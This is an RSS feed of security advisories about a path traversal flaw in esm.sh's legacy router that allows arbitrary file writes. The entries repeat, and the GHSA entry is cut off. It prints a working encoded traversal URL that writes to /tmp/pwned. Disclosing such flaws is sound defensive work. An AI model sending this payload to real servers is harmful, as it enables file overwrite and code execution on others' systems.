https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 05 Oct 2026 07:08:20 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-323948 EUVD-2026-323948 https://cve.radiocsirt.org/vuln/euvd-2026-323948 https://cve.radiocsirt.org/vuln/fkie_cve-2026-44593 <p>esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, the legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put. The router concatenates the path components without sanitizing them, producing a storage key. When this key is used, the underlying file system resolves the relative segments and writes the file to the specified path. Thus an attacker can craft a request that writes data to arbitrary locations on the server.</p> <p>esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, the legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put. The router concatenates the path components without sanitizing them, producing a storage key. When this key is used, the underlying file system resolves the relative segments and writes the file to the specified path. Thus an attacker can craft a request that writes data to arbitrary locations on the server.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-44593 https://cve.radiocsirt.org/vuln/ghsa-3636-h3vx-6465 <p><strong>Affected:</strong> Go: github.com/esm-dev/esm.sh</p> <p>### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.</p> <p>### Exploit</p> <p>The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see &lt;https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291&gt;).</p> <p>For a URL such as:</p> <p>``` http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/&lt;attacker&gt;/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ```</p> <p>the router concatenates the path components without sanitizing them, producing a storage key like:</p> <p>``` legacy/v111/react@19.2.0/esnext/../../../gh/&lt;attacker&gt;/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ```</p> <p>When this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.</p> <p>### Details</p> <p>1. **URL Construction** A crafted request is sent to the server: ``` http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/&lt;attacker&gt;/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ```</p> <p>2. **Proxy to Legacy Server** The request is forwarded t…</p> <p><strong>Affected:</strong> Go: github.com/esm-dev/esm.sh</p> <p>### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.</p> <p>### Exploit</p> <p>The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see &lt;https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291&gt;).</p> <p>For a URL such as:</p> <p>``` http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/&lt;attacker&gt;/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ```</p> <p>the router concatenates the path components without sanitizing them, producing a storage key like:</p> <p>``` legacy/v111/react@19.2.0/esnext/../../../gh/&lt;attacker&gt;/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ```</p> <p>When this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.</p> <p>### Details</p> <p>1. **URL Construction** A crafted request is sent to the server: ``` http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/&lt;attacker&gt;/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ```</p> <p>2. **Proxy to Legacy Server** The request is forwarded t…</p> https://cve.radiocsirt.org/vuln/ghsa-3636-h3vx-6465